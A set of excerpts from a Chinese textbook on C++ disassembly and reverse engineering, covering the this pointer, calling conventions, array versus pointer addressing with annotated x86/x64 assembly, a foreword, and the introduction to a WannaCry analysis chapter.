    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 2.4 布尔类型 布尔类型用于判断执行结果它的判断比较值只有两种情况0与非0。C++中定义0为假非0为真。使用bool定义布尔类型变量。布尔类型在内存中占1字节。因为布尔类型只比较两个结果值真、假所以实际上任何一种数据类型都可以将其代替如整型、字符型甚至可以用位代替。在实际案例中也是难以将布尔类型数据还原成源码的但是可以将其还原成等价代码。布尔类型出现的场合都是在做真假判断有了这个特性还原成等价代码还是相对简单的。 C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 序三 我也曾是一名逆向分析工程师。在20世纪90年代初计算机图书很少想成为计算机高手逆向分析是必备技术。通过逆向分析可以了解DOS操作系统未公开的秘密和BIOS的具体实现从而充分利用操作系统的功能实现对硬件更精准、高效的控制。当年我利用反汇编方式逆向分析过计算机病毒破解过各种磁盘密码甚至逆向分析过某著名的文字处理软件。 在当今的计算机世界逆向分析的最大用途是网络安全包括漏洞挖掘以及恶意程序样本分析。恶意程序作者是不可能把源代码一同奉上的我们要通过逆向分析方法了解恶意程序的工作机制从而找出对抗的方法。安全公司一般都会配备一定数量的样本分析工程师日常工作就是通过逆向分析方法分析所遇到的恶意文件样本从而对样本进行定性与分类并提取特征甚至给出应对建议。 不得不说逆向分析是一件既需要悟性又需要耐性的工作面对的是最接近机器语言的汇编语言、基础函数调用、系统API调用。做好逆向分析工作需要了解计算机、编译器和操作系统是怎么工作的这些在高等语言越来越流行、各种快速开发工具层出不穷的时代被多数软件工程师认为是没有太大必要去了解的东西。但是如果要成为优秀的软件工程师写出高效、稳定、安全的代码这些底层知识是需要具备的在网络安全这种特殊场景下甚至是解决问题的唯一方法。 和钱林松认识是因为我手下的不少逆向分析工程师是他的学生通过他们了解到武汉科锐这家公司后来去武汉出差时多次去科锐做客和钱林松逐渐成了朋友也有机会更多地了解他一位放射物理专业的中专生通过自学计算机技术从一名放射技术人员成为逆向分析领域的大神曾经应邀赴美国工作最后又放弃在美国继续工作的机会回到国内在清华大学讲学一年后创办了自己的公司从事逆向分析人才培养工作。这是一个典型的被兴趣引领而自学成才的计算机工程师 本书第1版出版于2011年入选CSDN十大最具技术影响力图书。过去十年间技术还是有不少进步的程序由32位到64位编译器进步了IDE开发工具变化了更不要说恶意程序的巨大变化。为了更好地帮助逆向分析工程师成长钱林松在第1版的基础上采用Visual Studio 2019作为编译工具增加了C语言和GCC编译器反汇编代码的讲解增加了64位程序反汇编代码的讲解。当然恶意代码的例子也都换成了近年来有代表性的病毒、木马、蠕虫。 本书对于想成为优秀C/C++程序员的读者会很有帮助尤其是第2章可以让读者了解C/C++的数据结构在内存中是如何存储的、程序的流程是如何控制的以及面向对象编程中若干机制的实现方法。对于希望成长为逆向分析工程师的读者在了解C/C++工作机制后第13章会教会您逆向分析的一些技巧。 谭晓生 北京赛博英杰科技有限公司创始人 2021年8月"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 9.2 this指针 在学习C++的过程中我们会接触到this指针。"},
    {"text": "许多C++程序员只知道在编码的过程中有this指针却不知它从何而来、为何存在。 因为this指针的使用过程被编译器隐藏起来了所以它显得格外神秘本节我们来揭开它的庐山真面目。 根据字面含义this指针应属于指针类型。 this指针在32位环境下占4字节空间在64位环境下占8字节空间保存的数据为地址信息。 “this”可翻译为“这个”因此经过字面分析可认为this指针中保存了所属对象的首地址。"},
    {"text": "先来了解一下使用指针访问结构体或类成员的公式假设type为某个正确定义的结构体或者类member是type中可以访问的成员。 type *p; // 此处略去p的赋值 // 以下是整型加法 p->member的地址=指针p的地址值+ member在type中的偏移量 举个例子如果有以下定义。 struct A { int n; // 在结构体内的偏移量为0 float f; // 在结构体内的偏移量为4 }; struct A a; //假设这个结构体变量a的地址为0x0012ff00 struct A *p = &a; //定义结构体指针并赋初值 printf(\"%p\", &p->f); //结果 我们知道p中保存的地址为0x0012ff00f在结构体内的偏移量为4于是可以得到p-> f的地址=0x0012ff00+4=0x0012ff04。"},
    {"text": "// 以下结果是什么程序会崩溃吗为什么答案见本章小结 printf(\"%p\", &((struct A*)NULL)->f); 明白结构体和类成员变量的寻址方法后我们来看一个示例如代码清单9-2所示。"},
    {"text": "代码清单9-2 访问类对象的数据成员Debug版 // C++ 源码 #include <stdio.h> class Person { public: void setAge(int age) { //公有成员函数 this->age = age; } public: int age; //公有数据成员 }; int main(int argc, char* argv[]) { Person person; person.setAge(5); //调用成员函数 printf(\"Person : %d\\n\", person.age); //获取数据成员 return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx ;申请person对象空间 00401004 push 5 ;压入参数5 00401006 lea ecx, [ebp-4] ;传参取出对象person的首地址存入ecx 00401009 call sub_401030 ;调用setAge成员函数 0040100E mov eax, [ebp-4] ;取出对象首地址处4字节的数据age存入eax 00401011 push eax ;将eax中保存的数据成员存入传参 00401012 push offset aPersonD ;\"Person:%d\\n\" 00401017 call sub_401090 ;调用printf函数 0040101C add esp, 8 0040101F xor eax, eax 00401021 mov esp, ebp 00401023 pop ebp 00401024 retn 00401030 push ebp 00401031 mov ebp, esp 00401033 push ecx ;申请局部变量空间 00401034 mov [ebp-4], ecx ;注意ecx中保存了对象person的首地址 00401037 mov eax, [ebp-4] ;eax=this 0040103A mov ecx, [ebp+8] ;ecx=age 0040103D mov [eax], ecx ;this->age = age 0040103F mov esp, ebp 00401041 pop ebp 00401042 retn 4 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D mov edx, 5 ;传递参数,5 0000000140001012 lea rcx, [rsp+20h] ;传递参数取出对象person的首地址存入rcx中 0000000140001017 call sub_140001040 ;调用setAge成员函数 000000014000101C mov edx, [rsp+20h] ;传递参数person.age 0000000140001020 lea rcx, aPersonD ;\"Person:%d\\n\" 0000000140001027 call sub_1400010C0 ;调用printf函数 000000014000102C xor eax, eax 000000014000102E add rsp, 38h 0000000140001032 retn 0000000140001040 mov [rsp+10h], edx 0000000140001044 mov [rsp+8], rcx ;注意ecx中保存了对象person的首地址 0000000140001049 mov rax, [rsp+8] ;rax=this 000000014000104E mov ecx, [rsp+10h] ;ecx=age 0000000140001052 mov [rax], ecx ;this->age=age 0000000140001054 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单9-2中演示了对象调用成员的方法以及取出数据成员的过程。"},
    {"text": "使用默认的调用约定时在调用成员函数的过程中编译器做了一个“小动作”利用寄存器ecx保存了对象的首地址并以寄存器传参的方式将其传递到成员函数中这便是this指针的由来。 由此可见所有成员函数非静态成员函数都有一个隐藏参数即自身类型的指针这样的默认调用约定称为thiscall。 在成员函数中访问数据成员也是通过this指针间接访问的这便是在成员函数内可以直接使用数据成员的原因。"},
    {"text": "class Person { public: void show() { //隐藏传递了this指针这里实际为this->getAge() printf(\"%d\\n\", getAge()); } int getAge() { //隐藏传递了this指针这里实际为retrun this->age return age; } public: int age; }; 在C++的环境下识别this指针的关键点是在函数的调用过程中使用ecx作为第一个参数在ecx中保存的数据为对象的首地址但并非所有this指针的传递都是如此。"},
    {"text": "而且thiscall并不属于关键字它是C++中成员函数特有的调用方式在C语言中是没有这种调用方式的。 由于在C++环境下thiscall不属于关键字因此函数无法显式声明为thiscall调用方式而类的成员函数默认为thiscall调用方式。"},
    {"text": "所以在分析过程中如果看到某函数使用ecx传递参数且ecx中保留了对象的this指针以及在函数实现代码内存在this指针参与的寄存器相对间接访问方式如[reg+8]即可怀疑此函数为成员函数。"},
    {"text": "当使用其他调用方式如__stdcall时this指针将不再使用ecx传递参数而是改用栈传递参数。 将代码清单9-2中的成员函数SetAge()修改为__stdcall调用方式查看this指针的传递与使用过程如代码清单9-3所示。 代码清单9-3 使用stdcall调用方式的成员函数Debug版 // C++ 源码 #include <stdio.h> class Person { public: void _stdcall setAge(int age) { //修改调用方式 this->age = age; } public: int age; }; int main(int argc, char* argv[]) { Person person; person.setAge(5); printf(\"Person : %d\\n\", person.age); return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 push ecx 00401004 push 5 00401006 lea eax, [ebp-4] ;获取对象首地址并存入eax 00401009 push eax ;将eax作为参数压栈 0040100A call sub_401030 ;调用setAge成员函数 0040100F mov ecx, [ebp-4] 00401012 push ecx 00401013 push offset aPersonD ; \"Person : %d\\n\" 00401018 call sub_401080 ;调用printf函数 0040101D add esp, 8 00401020 xor eax, eax 00401022 mov esp, ebp 00401024 pop ebp 00401025 retn 00401030 push ebp 00401031 mov ebp, esp 00401033 mov eax, [ebp+8] ;取出this指针并存入eax 00401036 mov ecx, [ebp+0Ch] ;取出参数age并存入ecx 00401039 mov [eax], ecx ;使用eax取出成员并赋值 0040103B pop ebp 0040103C retn 8 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 sub rsp, 38h 000000014000100D mov edx, 5 ;传递参数, 5 0000000140001012 lea rcx, [rsp+20h] ;传递参数取出对象person的首地址存入rcx 0000000140001017 call sub_140001040 ;调用setAge成员函数 000000014000101C mov edx, [rsp+20h] ;传递参数person.age 0000000140001020 lea rcx, aPersonD ;\"Person : %d\\n\" 0000000140001027 call sub_1400010C0 ;调用printf函数 000000014000102C xor eax, eax 000000014000102E add rsp, 38h 0000000140001032 retn 0000000140001040 mov [rsp+10h], edx 0000000140001044 mov [rsp+8], rcx 0000000140001049 mov rax, [rsp+8] ;取出this指针并存入rax 000000014000104E mov ecx, [rsp+10h] ;取出参数age并存入ecx 0000000140001052 mov [rax], ecx ;使用rax取出成员并赋值 0000000140001054 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 在代码清单9-3中成员函数setAge()在调用过程中没有通过ecx传递this指针取而代之的是以栈方式传递参数。 #cdecl和#stdcall调用方式只是在参数平衡时有所区别这里就不详细讲解了。 使用#cdecl和#stdcall声明的成员函数this指针并不像thiscall那样容易识别。"},
    {"text": "虽然难以区分但如果能确定函数的第一个参数为this指针并且在函数体内将this指针存入某寄存器然后出现寄存器相对间接访问方式那么将其还原为成员函数也是等价的。"},
    {"text": "其他代码没有再对此变量做任何修改而类对象person只有一个数据成员age该对象除了为数据成员赋值外并无其他操作因此编译器作了减少变量的优化处理。"},
    {"text": "int age = 5; // 可使用常量传播 printf(\"Person : %d\\n\", age); // 减少变量后 printf(\"Person : %d\\n\", 5); 经过优化后此程序中只有一句代码。"},
    {"text": "lea ecx, [mem] ; 取对象首地址并存入ecx要注意观察内存 call FUN_ADDRESS ; 调用成员函数 ; 在函数调用内ecx 尚未重新赋值之前 mov XXX, ecx ; 发现函数内使用ecx中的数据说明函数调用前对ecx的赋值 ; 实际上是在传递参数 ; 其后 ecx 中的内容会传递给其他寄存器 mov [reg+i], XXX ; 发现了寄存器相对间接寻址方式如果能排除数组访问说明reg中保存的是结构体或者类对象的首地址 符合以上特点基本可判定这是调用类的成员函数。"},
    {"text": "lea reg, [mem] ; 取出对象首地址并存入寄存器变量 push reg ; 将保存对象首地址的寄存器作为参数压栈 call FUN_ADDRESS ; 调用成员函数 ; 在函数调用内将第一个函数参数作为指针变量以寄存器相对间接寻址方式进行访问 对于这种形式的代码应重点分析压入的第一个参数是否为对象的首地址。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 第17章 WannaCry勒索病毒逆向分析 WannaCry又称为Wanna Decryptor是一种“蠕虫式”勒索病毒软件由不法分子利用危险漏洞“EternalBlue”永恒之蓝进行传播。该勒索病毒是自熊猫烧香以来影响力最大的病毒之一。WannaCry勒索病毒至少导致150个国家、30万名用户中招造成损失达80亿美元影响了金融、能源、医疗等众多行业造成严重的危机管理问题。中国部分Windows操作系统用户遭受感染校园网用户首当其冲受害严重大量实验室数据和毕业设计被锁定加密。部分大型企业的应用系统和数据库文件被加密后无法正常工作影响巨大。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 8.4 下标寻址和指针寻址 访问数组的方法有两种通过下标访问寻址和通过指针访问寻址。"},
    {"text": "因为指针是存放地址数据的变量类型所以在数据访问的过程中需要先取出指针变量中的数据然后针对此数据进行地址偏移计算从而寻址到目标数据。"},
    {"text": "代码清单8-9 数组的下标寻址和指针寻址的区别Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { char *p = NULL; char buffer[] = \"Hello\"; p = buffer; printf(\"%c\", *p); printf(\"%c\", buffer[0]); return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 10h 00401006 mov eax, ___security_cookie ;缓冲区溢出检查代码 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov dword ptr [ebp-10h], 0 ;初始化指针变量为空指针p=NULL 00401017 mov eax, dword ptr ds:aHello 0040101C mov [ebp-0Ch], eax 0040101F mov cx, word ptr ds:aHello+4 00401026 mov [ebp-8], cx ;初始化数组[ebp-0Ch]=buffer[]=\"Hello\" 0040102A lea edx, [ebp-0Ch] ;获取数组首地址edx=buffer 0040102D mov [ebp-10h], edx ;p=buffer 00401030 mov eax, [ebp-10h] ;取出指针变量中保存的地址数据 00401033 movsx ecx, byte ptr [eax] ;字符型指针的间接访问间接访问后传参 00401036 push ecx 00401037 push offset unk_412168 0040103C call sub_4010B0 ;调用printf函数 00401041 add esp, 8 00401044 mov edx, 1 00401049 imul eax, edx, 0 0040104C movsx ecx, byte ptr [ebp+eax-0Ch] 00401051 push ecx ;将取出数据作为参数 00401052 push offset unk_41216C 00401057 call sub_4010B0 ;调用printf函数 0040105C add esp, 8 0040105F xor eax, eax 00401061 mov ecx, [ebp-4] 00401064 xor ecx, ebp 00401066 call @__security_check_cookie@4 ;缓冲区溢出检查代码 0040106B mov esp, ebp 0040106D pop ebp 0040106E retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8], ecx 0000000140001009 push rsi 000000014000100A push rdi 000000014000100B sub rsp, 48h 000000014000100F mov rax, cs:__security_cookie ;缓冲区溢出检查代码 0000000140001016 xor rax, rsp 0000000140001019 mov [rsp+30h], rax 000000014000101E mov qword ptr [rsp+20h], 0 ;初始化指针变量为空指针p=NULL 0000000140001027 lea rax, [rsp+28h] 000000014000102C lea rcx, aHello ;\"Hello\" 0000000140001033 mov rdi, rax 0000000140001036 mov rsi, rcx 0000000140001039 mov ecx, 6 000000014000103E rep movsb ;初始化数组[rsp+28h]=buffer[]=\"Hello\" 0000000140001040 lea rax, [rsp+28h] ;获取数组首地址rax=buffer 0000000140001045 mov [rsp+20h], rax ;p=buffer 000000014000104A mov rax, [rsp+20h] ;取出指针变量中保存的地址数据 000000014000104F movsx eax, byte ptr [rax] ;字符型指针的间接访问 0000000140001052 mov edx, eax ;间接访问后传参 0000000140001054 lea rcx, aC ;\"%c\" 000000014000105B call sub_140001100 ;调用printf函数 0000000140001060 mov eax, 1 0000000140001065 imul rax, 0 0000000140001069 movsx eax, byte ptr [rsp+rax+28h] 000000014000106E mov edx, eax ;将取出数据作为参数 0000000140001070 lea rcx, aC_0 ;\"%c\" 0000000140001077 call sub_140001100 ;调用printf函数 000000014000107C xor eax, eax 000000014000107E mov rcx, [rsp+30h] 0000000140001083 xor rcx, rsp 0000000140001086 call __security_check_cookie ;缓冲区溢出检查代码 000000014000108B add rsp, 48h 000000014000108F pop rdi 0000000140001090 pop rsi 0000000140001091 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单8-9中分别使用了指针寻址和下标寻址两种方式访问字符数组buffer。"},
    {"text": "虽然使用指针寻址方式需要经过2次间接访问效率较低但其灵活性更强可通过修改指针中保存的地址数据访问其他内存中的数据而数组下标在没有越界使用的情况下只能访问数组内的数据。 在进行下标方式寻址时如何准确找到数组中数据的地址呢由于数组内的数据是连续排列的而且数据类型一致所以只需要数组首地址、数组元素的类型和下标值就可以求出数组某下标元素的地址。 假设首地址为aryAddr数组元素的类型为type元素个数为M下标为n求数组中某下标元素的地址则寻址公式如下。 type ary[M]; &ary[n] == (type *)((int)aryAddr + sizeof(type)*n); 转换为更容易理解的写法如下注意这里是整型加法不是地址加法。 ary[n] 的地址 = ary 的首地址 + sizeof(type)*n 由于数组的首地址是数组中第一个元素的地址因此下标值从0开始。 首地址加偏移量0自然就得到了第一个数组元素的首地址。"},
    {"text": "下标寻址方式中的下标值可以使用3种类型表示整型常量、整型变量、计算结果为整型的表达式。 接下来我们以数组“int ary[5] = {1, 2, 3, 4, 5}”为例具体讲解一下这3种不同方式作为下标值的寻址过程。 1. 下标值为整型常量的寻址 在下标值为常量的情况下由于类型大小为已知数编译器可以直接计算得出数据所在的地址。"},
    {"text": "int ary[5] = {1, 2, 3, 4, 5}; mov dword ptr [ebp-14h],1 ; 数组初始化首地址为 ebp-14h mov dword ptr [ebp-10h],2 mov dword ptr [ebp-0Ch],3 mov dword ptr [ebp-8],4 mov dword ptr [ebp-4],5 printf(\"%d \\r\\n\", ary[2]); ; 由于下标值为常量2可直接计算出地址值其运算过程如下 ; ebp-14h + sizeof(int)*2h = ebp - 14h + 4h*2h = ebp - 14h + 8最 ; 终得到地址ebp-0Ch mov eax,dword ptr [ebp-0Ch] ; printf函数分析略 2. 下标值为整型变量的寻址 当下标值为变量时编译器无法算出对应的地址只能先进行地址偏移计算再得出目标数据所在的地址。 ; 数组各元素的地址同上 printf(\"%d \\r\\n\", ary[argc]); ;变量argc类型为整型所在地址为ebp+8 mov[0] ecx,dword ptr [ebp+8]; 取得下标值存入ecx ; 使用ecx乘以数据类型的大小4字节长度得到数据偏移地址 ; 根据ebp+ecx*4-14h可以确认这是数组的下标寻址 ; 根据我们给出的公式这样写可能更容易理解ebp-14h+ecx*4 ; ebp-14h为数组首地址ecx是下标4是元素类型的大小 mov edx,dword ptr [ebp+ecx*4-14h] ; printf 函数分析略 3. 下标值为整型表达式的寻址 当下标值为表达式时会先算出表达式的结果然后将其作为下标值。 如果表达式为常量计算则编译过程中执行常量折叠编译时提前计算出结果其结果依然是常量最后还是以常量作为下标藉此寻址数组内元素。 以表达式ary[2*2]为例编译过程中计算2×2得到4将4作为整型常量下标值进行寻址其结果等价于ary[4]。"},
    {"text": "; 数组中各元素的地址同上 printf(\"%d \\r\\n\", ary[argc * 2]); ; 变量argc的类型为整型所在地址为ebp+8 mov eax,dword ptr [ebp+8] ; 取下标变量数据存入eax shl eax,1 ; 对eax执行左移1位这一步等同于乘以2 ; 将argc乘以2的结果作为下标值乘以数组的类型大小为4从而寻址到数组中元素的地址 mov ecx,dword ptr [ebp+eax*4-14h] ;printf函数分析略 数组下标寻址使用的方案和指针寻址公式非常相似都是利用首地址加偏移量。"},
    {"text": "在编译器中不会对数组的下标进行访问检查使用数组时很容易出现越界访问的错误。 当下标值小于0或大于数组下标最大值时会访问到数组邻近定义的数据造成越界访问进而导致程序崩溃或者产生更为严重的后果如代码清单8-10所示。"},
    {"text": "代码清单8-10 数组下标寻址越界访问Debug版 // C++ 源码 #include <stdio.h> int main(int argc, char* argv[]) { int ary[4] = {1, 2, 3, 4}; int n = 5; printf(\"%d\", ary[-1]); //利用数组越界访问读取变量n并显示 return 0; } //x86_vs对应汇编代码讲解 00401000 push ebp 00401001 mov ebp, esp 00401003 sub esp, 18h 00401006 mov eax, ___security_cookie 0040100B xor eax, ebp 0040100D mov [ebp-4], eax 00401010 mov dword ptr [ebp-14h], 1 00401017 mov dword ptr [ebp-10h], 2 0040101E mov dword ptr [ebp-0Ch], 3 00401025 mov dword ptr [ebp-8], 4 ;ary[4] = {1, 2, 3, 4}; 0040102C mov dword ptr [ebp-18h], 5 ;n=5 00401033 mov eax, 4 00401038 imul ecx, eax, -1 ;ecx=-1*4 0040103B mov edx, [ebp+ecx-14h] ;ary[-1]edx=[ebp-14h+ ecx]=[ebp-18h] 0040103F push edx ;n入栈 00401040 push offset unk_412160 00401045 call sub_4010A0 ;调用printf函数 0040104A add esp, 8 0040104D xor eax, eax 0040104F mov ecx, [ebp-4] 00401052 xor ecx, ebp 00401054 call @__security_check_cookie@4 00401059 mov esp, ebp 0040105B pop ebp 0040105C retn //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 //x64_vs对应汇编代码讲解 0000000140001000 mov [rsp+10h], rdx 0000000140001005 mov [rsp+8h], ecx 0000000140001009 sub rsp, 48h 000000014000100D mov rax, cs:__security_cookie 0000000140001014 xor rax, rsp 0000000140001017 mov [rsp+38h], rax 000000014000101C mov dword ptr [rsp+28h], 1 0000000140001024 mov dword ptr [rsp+2Ch], 2 000000014000102C mov dword ptr [rsp+30h], 3 0000000140001034 mov dword ptr [rsp+34h], 4 ;ary[4] = {1, 2, 3, 4}; 000000014000103C mov dword ptr [rsp+20h], 5 ;n=5 0000000140001044 mov eax, 4 0000000140001049 imul rax, -1 ;rax=-1*4 000000014000104D mov edx, [rsp+rax+28h] ;ary[-1]edx=[rsp+28h+rax]=[rsp+24h] 0000000140001051 lea rcx, aD ; \"%d\" 0000000140001058 call sub_1400010E0 ;调用printf函数 000000014000105D xor eax, eax 000000014000105F mov rcx, [rsp+38h] 0000000140001064 xor rcx, rsp 0000000140001067 call __security_check_cookie 000000014000106C add rsp, 48h 0000000140001070 retn //x64_gcc对应汇编代码相似略 //x64_clang对应汇编代码相似略 代码清单8-10中的数组寻址使用了负数作为下标值将数组下标寻址ary[-1]代入寻址公式见2.5.2节。"},
    {"text": "ary[-1]=ary + sizeof(int) * (-1) =ebp - 14h + 4 * (-1) =ebp - 14h - 4 =ebp - 18h 最终访问到地址ebp-18h处这正是变量n的地址。"},
    {"text": "同理变量n定义在数组前使用下标值6也将会越界访问到变量n如图8-8所示。 图8-8 VS2019中使用数组下标越界访问 下标寻址方式也可以被指针寻址方式代替但指针寻址方式需要经过两次间接访问第一次是访问指针变量第二次才能访问到数组元素故指针寻址的执行效率不会高于下标寻址但是在使用的过程中会更加方便。 数组下标和指针寻址如此相似如何在反汇编代码中区分它们呢只要抓住一点即可那就是指针寻址需要两次以上间接访问才可以得到数据。"},
    {"text": "数组下标寻址的识别相对复杂下标为常量时由于数组的元素长度固定sizeof(type)*n也为常量产生了常量折叠编译前可直接算出偏移量因此只须使用数组首地址作为基址加偏移即可寻址相关数据不会出现二次寻址的情况。 当下标为变量或者变量表达式时会明显体现出数组的寻址公式且发生两次内存访问但是和指针寻址明显不同第一次访问的是下标这个值一般不会作为地址使用且代入公式计算后才得到地址。"},
    {"text": "C++反汇编与逆向分析技术揭秘（第2版）（逆向工程领域标志性著作，第1版畅销10年，安全领域瑰宝，侯捷等全球15位专家口碑力荐） 6.2 各种调用方式的考察 6.1节介绍了栈结构的相关知识。"},
    {"text": "汇编过程中通常使用“ret xxxx”平衡参数使用的栈空间当函数的参数为不定参数时函数自身无法确定参数使用的栈空间的大小因此无法由函数自身执行平衡操作需要函数的调用者执行平衡操作。"},
    {"text": "代码清单6-1 _cdecl与_stdcall的对比Debug版 // C++源码 #include <stdio.h> void _stdcall show1(int n){ //使用_stdcall调用方式被调方平衡栈 printf(\"%d\\n\", n); } void _cdecl show2(int n){ //使用_cdecl调用方式调用方平衡栈 printf(\"%d\\n\", n); } int main(int argc, char* argv[]) { show1(5); // 不会有平衡栈操作 show2(5); // 函数调用结束后对esp平衡4个字节 return 0; } //x86_vs对应汇编代码讲解 00401040 push ebp ;保存栈底 00401041 mov ebp, esp ;保存调用方的栈底 00401043 push 5 ;函数传参参数1入栈 00401045 call sub_401000 ;调用show1函数没有平衡操作 0040104A push 5 ;函数传参参数1入栈 0040104C call sub_401020 ;调用show2函数 00401051 add esp, 4 ;平衡栈顶 00401054 xor eax, eax 00401056 pop ebp ;恢复环境 00401057 retn 00401000 push ebp ;保存栈底 00401001 mov ebp, esp ;保存调用方的栈底 00401003 mov eax, [ebp+8] 00401006 push eax 00401007 push offset aD ; \"%d\\n\" 0040100C call sub_4010A0 00401011 add esp, 8 00401014 pop ebp ;恢复环境 00401015 retn 4 ;show1函数结束后平衡栈顶4个字节等价esp+=4 00401020 push ebp ;保存栈底 00401021 mov ebp, esp ;保存调用方的栈底 00401023 mov eax, [ebp+8] 00401026 push eax 00401027 push offset aD_0 ; \"%d\\n\" 0040102C call sub_4010A0 00401031 add esp, 8 00401034 pop ebp ;恢复环境 00401035 retn ;show2函数结束后没有平衡操作 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 分析代码清单6-1可知_cdecl调用方式在函数内没有任何平衡参数操作而在退出函数后对esp执行了加4操作从而实现栈平衡_stdcall调用方式则与之相反。"},
    {"text": "那么是不是只要检查ret处是否有平衡操作即可得知函数的调用方式呢由于汇编语言灵活多变这种方法无法保证分析结果的准确性。 在函数的结尾处很有可能有其他汇编指令间接对esp做加法如pop ecx这样的指令也可达到栈平衡的效果而且指令周期较短。 因此还需要结合函数在执行过程中使用的栈空间与函数调用结束时的栈平衡数进行对比以判断是否实现参数平衡。"},
    {"text": "而经过02选项的优化后会采取复写传播优化将每次参数平衡的操作进行归并一次性平衡栈顶指针esp如代码清单6-2所示。 代码清单6-2 _cdecl参数平衡代码的复写传播优化Release版 // C++ 源码说明复写传播 void main(){ printf(\"Hello \");// 函数调用结束后执行eps+4平衡参数 printf(\"World\"); // 同上 printf(\" C++\"); // 同上 printf(\"\\r\\n\"); // 同上经过优化后将4次平衡归并为1次 } //x86_vs对应汇编代码讲解 00401010 push offset aHello ; \"Hello\" 00401015 call sub_401040 ;调用结束后没有平衡栈 0040101A push offset aWorld ; \"World\" 0040101F call sub_401040 ;调用结束后没有平衡栈 00401024 push offset aC ; \"C++\" 00401029 call sub_401040 ;调用结束后没有平衡栈 0040102E push offset asc_412178 ; \"\\r\\n\" 00401033 call sub_401040 ;调用结束后没有平衡栈 00401038 add esp, 10h ;一次性对esp加16正好平衡了之前的4个参数 0040103B xor eax, eax 0040103D retn //x86_gcc对应汇编代码讲解 00402590 push ebp ;保存栈底 00402591 mov ebp, esp ;保存调用方的栈底 00402593 and esp, 0FFFFFFF0h ;对齐栈 00402596 sub esp, 10h 00402599 call ___main ;调用初始化函数 0040259E mov dword ptr [esp], offset aHello ; \"Hello \" 004025A5 call _printf ;调用结束后没有平衡栈 004025AA mov dword ptr [esp], offset aWorld ; \"World\" 004025B1 call _printf ;调用结束后没有平衡栈 004025B6 mov dword ptr [esp], offset aC ; \" C++\" 004025BD call _printf ;调用结束后没有平衡栈 004025C2 mov dword ptr [esp], offset asc_404012 ; \"\\r\" 004025C9 call _puts ;调用结束后没有平衡栈 004025CE xor eax, eax 004025D0 leave ;mov esp,ebp正好平衡了之前的4个参数和局部变量空间 004025D1 retn //x86_clang对应汇编代码没有优化略 通过以上分析发现_cdecl与_stdcall只在参数平衡上有所不同其余部分都一样。"},
    {"text": "但经过优化后_cdecl调用方式的函数在同一作用域内多次使用比_stdcall的效率高一些这是因为_cdecl可以使用复写传播而_stdcall都在函数内平衡参数无法使用复写传播这种优化方式。"},
    {"text": "在这3种调用方式中_fastcall调用方式的传参效率最高其他两种调用方式都是通过栈传递参数的唯独_fastcall可以利用寄存器传递参数。 因为寄存器数目很少而参数可以很多只能量力而行所以_fastcall调用方式只使用了ecx和edx分别传递第一个参数和第二个参数其余参数则通过栈传参方式传递如代码清单6-3所示。 代码清单6-3 _fastcall调用方式示例 // C++源码 #include <stdio.h> void _fastcall show(int n1, int n2, int n3, int n4) { printf(\"%d %d %d %d\\n\", n1, n2, n3, n4); } int main(int argc, char* argv[]) { show(1, 2, 3, 4); return 0; } //x86_vs对应汇编代码讲解 00401030 push ebp ;保存栈底 00401031 mov ebp, esp ;保存调用方的栈底 00401033 push 4 ;使用栈方式传递参数4 00401035 push 3 ;使用栈方式传递参数3 00401037 mov edx, 2 ;使用edx传递第二个参数2 0040103C mov ecx, 1 ;使用ecx传递第一个参数1 00401041 call sub_401000 ;调用show函数 00401046 xor eax, eax 00401048 pop ebp ;恢复环境 00401049 retn 00401000 push ebp ;保存栈底 00401001 mov ebp, esp ;保存调用方的栈底 00401003 sub esp, 8 00401006 mov [ebp-4], edx ;保存n2到ebp-4 00401009 mov [ebp-8], ecx ;保存n1到ebp-8 0040100C mov eax, [ebp+0Ch] 0040100F push eax ;参数5入栈n4 00401010 mov ecx, [ebp+8] 00401013 push ecx ;参数4入栈n3 00401014 mov edx, [ebp-4] 00401017 push edx ;参数3入栈n2 00401018 mov eax, [ebp-8] 0040101B push eax ;参数2入栈n1 0040101C push offset aDDDD ;参数1入栈\"%d %d %d %d\\n\" 00401021 call sub_401090 ;调用printf函数 00401026 add esp, 14h ;平衡pirntf使用的5个参数 00401029 mov esp, ebp 0040102B pop ebp ;恢复环境 0040102C retn 8 ;此函数有4个参数ret指令对其平衡 //x86_gcc对应汇编代码相似略 //x86_clang对应汇编代码相似略 此段代码的02版将更加简洁明了这里就不再讲解了。"},
